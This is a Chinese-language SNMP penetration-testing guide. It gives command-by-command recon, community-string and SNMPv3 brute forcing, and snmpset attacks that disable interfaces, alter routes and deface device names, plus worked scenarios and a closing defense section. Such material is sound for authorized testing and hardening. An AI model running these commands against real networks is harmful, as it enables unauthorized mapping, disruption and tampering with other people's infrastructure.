161/162 - SNMP 服务渗透测试
服务概述
SNMP (Simple Network Management Protocol) 用于网络设备管理。由于默认配置和弱认证,常导致信息泄露和配置修改。
默认端口: 161 (UDP), 162 (UDP Trap)
危害等级: ⭐⭐⭐⭐
信息收集
版本识别
# nmap 扫描
nmap -sV --script snmp-info -p 161 TARGET
# snmpwalk 测试版本
snmpwalk -v 1 TARGET
snmpwalk -v 2c TARGET
snmpwalk -v 3 TARGET团体名爆破
# 使用 onesixtyone
onesixtyone -c community_strings.txt TARGET
# 使用 snmp-check
snmp-check -t TARGET -c public
snmp-check -t TARGET -c private
# 使用 hydra
hydra -P community_strings.txt -v 161/udp snmp://TARGET
# 常见团体名
public # 只读 (最常见)
private # 读写
community
manager
admin
testMIB 枚举
# 枚举系统信息
snmpwalk -v 2c -c public TARGET system
# 枚举网络接口
snmpwalk -v 2c -c public TARGET interfaces
# 枚举路由表
snmpwalk -v 2c -c public TARGET ipRouteTable
# 枚举进程
snmpwalk -v 2c -c public TARGET hrSWRunTable
# 枚举用户
snmpwalk -v 2c -c public TARGET hrSWInstalledTable常见攻击手法
1. 信息泄露
原理: 读取 SNMP OID 获取敏感信息。
利用:
# 系统信息
snmpwalk -v 2c -c public TARGET system
# 输出:主机名、位置、联系人、运行时间
# 网络接口
snmpwalk -v 2c -c public TARGET ifDescr
snmpwalk -v 2c -c public TARGET ifAddr
# 路由表
snmpwalk -v 2c -c public TARGET ipRouteTable
# 输出:网络拓扑
# ARP 表
snmpwalk -v 2c -c public TARGET ipNetToMediaTable
# 输出:内网主机 IP+MAC
# 已安装软件
snmpwalk -v 2c -c public TARGET hrSWInstalledTable
# 输出:软件清单 (用于漏洞挖掘)2. 配置修改 (读写团体名)
原理: 使用读写团体名修改设备配置。
利用:
# 修改系统信息
snmpset -v 2c -c private TARGET system.sysName.0 s "HACKED"
# 关闭网络接口
snmpset -v 2c -c private TARGET ifAdminStatus.1 i 2
# 修改路由
snmpset -v 2c -c private TARGET ipRouteDest.1.1.1.1 s "192.168.1.1"
snmpset -v 2c -c private TARGET ipRouteNextHop.1.1.1.1 s "10.0.0.1"
# 重启设备 (某些设备支持)
snmpset -v 2c -c private TARGET system.sysServices.0 i 03. Cisco 设备特殊攻击
原理: Cisco 设备 SNMP 配置有额外风险。
利用:
# 读取 Cisco 配置
snmpwalk -v 2c -c public TARGET ciscoConfig
# 获取 VLAN 信息
snmpwalk -v 2c -c public TARGET vmplsVlanTable
# 获取 CDP 邻居
snmpwalk -v 2c -c public TARGET cdpCacheTable
# 输出:相邻设备信息 (用于网络映射)
# 修改 VLAN
snmpset -v 2c -c private TARGET vmplsVlanName.100 s "HACKED"4. Windows SNMP 信息
原理: Windows SNMP 服务泄露大量信息。
利用:
# 获取进程列表
snmpwalk -v 2c -c public TARGET hrSWRunTable
# 获取用户信息
snmpwalk -v 2c -c public TARGET hrSWRunName
# 获取存储信息
snmpwalk -v 2c -c TARGET hrStorageTable
# 获取服务信息
snmpwalk -v 2c -c public TARGET hrServiceTable5. SNMPv3 暴力破解
原理: SNMPv3 支持用户名/密码认证,可暴力破解。
利用:
# 枚举用户名
snmpwalk -v 3 -u admin -l noAuthNoPriv TARGET
# 暴力破解
hydra -P users.txt -p password snmpv3://TARGET
hydra -u users.txt -P passwords.txt snmpv3://TARGET
# 使用 nmap
nmap --script snmp-brute -p 161 TARGET实战案例
案例 1: 网络拓扑侦察
# 1. 扫描 SNMP 服务
nmap -sU --script snmp-info -p 161 192.168.1.0/24
# 2. 发现目标
# 192.168.1.1 (路由器)
# 192.168.1.10 (交换机)
# 3. 枚举路由器
snmpwalk -v 2c -c public 192.168.1.1 ipRouteTable
# 获取路由信息
snmpwalk -v 2c -c public 192.168.1.1 ipNetToMediaTable
# 获取 ARP 表 (内网主机)
# 4. 枚举交换机
snmpwalk -v 2c -c public 192.168.1.10 dot1dTpFdbTable
# 获取 MAC 地址表
snmpwalk -v 2c -c public 192.168.1.10 cdpCacheTable
# 获取 CDP 邻居
# 5. 绘制网络图
# 使用获取的信息绘制完整网络拓扑案例 2: 敏感信息收集
# 1. 系统信息
snmpwalk -v 2c -c public TARGET system
# 输出:
# sysName: server01
# sysLocation: Data Center Rack 5
# sysContact: admin@company.com
# sysUpTime: 123 days
# 2. 已安装软件
snmpwalk -v 2c -c public TARGET hrSWInstalledTable
# 输出:
# Apache 2.4.49 (CVE-2021-41773)
# OpenSSL 1.0.1 (Heartbleed)
# 3. 运行进程
snmpwalk -v 2c -c public TARGET hrSWRunTable
# 输出:
# mysqld (数据库)
# sshd (SSH 服务)
# 4. 针对性攻击
# 根据软件版本选择 exploit案例 3: 配置修改导致 DoS
# 1. 发现读写团体名
onesixtyone -c community_strings.txt TARGET
# 输出:private (read-write)
# 2. 关闭网络接口
snmpset -v 2c -c private TARGET ifAdminStatus.1 i 2
# 接口关闭,网络中断
# 3. 修改系统名
snmpset -v 2c -c private TARGET system.sysName.0 s "HACKED_BY_ATTACKER"
# 4. 修改联系人
snmpset -v 2c -c private TARGET system.sysContact.0 s "hacker@evil.com"案例 4: Windows 服务器渗透
# 1. 枚举 Windows SNMP
snmpwalk -v 2c -c public WINDOWS_TARGET hrSWRunTable
# 2. 获取进程信息
# 输出:
# chrome.exe (用户活动)
# outlook.exe (邮件客户端)
# winword.exe (Office)
# 3. 获取存储信息
snmpwalk -v 2c -c public WINDOWS_TARGET hrStorageTable
# 输出:
# C: Disk (总大小、已用空间)
# D: Disk
# 4. 获取服务信息
snmpwalk -v 2c -c public WINDOWS_TARGET hrServiceTable
# 输出:
# Spooler (打印服务)
# W3SVC (IIS Web 服务)
# 5. 制定攻击计划工具
snmpwalk
# 基本用法
snmpwalk -v 2c -c public TARGET
# 指定 OID
snmpwalk -v 2c -c public TARGET system
# 输出格式
snmpwalk -v 2c -c public TARGET -O n # 数字 OID
snmpwalk -v 2c -c public TARGET -O e # 枚举值snmp-check
# 全面检查
snmp-check -t TARGET -c public
# 特定模块
snmp-check -t TARGET -c public -m system
snmp-check -t TARGET -c public -m interfaces
snmp-check -t TARGET -c public -m processes
# 输出为 HTML
snmp-check -t TARGET -c public -o report.htmlonesixtyone
# 爆破团体名
onesixtyone -c community_strings.txt TARGET
# 扫描网段
onesixtyone -c community_strings.txt -i hosts.txt
# 详细输出
onesixtyone -c community_strings.txt -d TARGETsnmpenum
# Windows 枚举
snmpenum -t TARGET -c public -w windows.txt
# Cisco 枚举
snmpenum -t TARGET -c public -w cisco.txt
# Linux 枚举
snmpenum -t TARGET -c public -w linux.txtNmap Scripts
# SNMP 信息
nmap --script snmp-info -p 161 TARGET
# SNMP 爆破
nmap --script snmp-brute -p 161 TARGET
# SNMP 枚举
nmap --script snmp-enum -p 161 TARGET
# SNMP 进程
nmap --script snmp-processes -p 161 TARGET
# SNMP 网络接口
nmap --script snmp-netstat -p 161 TARGET防御建议
服务器配置
# 1. 更改默认团体名
# /etc/snmp/snmpd.conf
rocommunity NEW_READONLY_COMMUNITY default
rwcommunity NEW_READWRITE_COMMUNITY default
# 2. 限制访问来源
rocommunity public 192.168.1.0/24
rocommunity public 10.0.0.0/8
# 3. 使用 SNMPv3
# 创建用户
net-snmp-create-v3-user -ro -A PASSWORD -a SHA -x DES -X PRIVACY_PASSWORD USERNAME
# 4. 禁用 SNMP (如果不需要)
systemctl stop snmpd
systemctl disable snmpd
# 5. 最小化 MIB 访问
# 只公开必要的 OID
view systemonly included .1.3.6.1.2.1.1
access notConfigGroup "" any noauth exact systemonly none none网络隔离
# 1. 防火墙规则
# 仅允许管理网段访问
iptables -A INPUT -p udp --dport 161 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p udp --dport 161 -j DROP
# 2. VLAN 隔离
# SNMP 管理流量单独 VLAN
# 3. ACL 控制
# 交换机/路由器上配置 ACL监控检测
# 1. 监控 SNMP 流量
tshark -i eth0 -Y "snmp" -T fields -e ip.src -e snmp.community
# 2. 日志分析
grep "snmp" /var/log/syslog
# 3. 异常检测
# 大量 SNMP 请求
# 未知源 IP 访问
# 读写操作尝试
# 4. 配置告警
# SNMP 认证失败
# 配置修改事件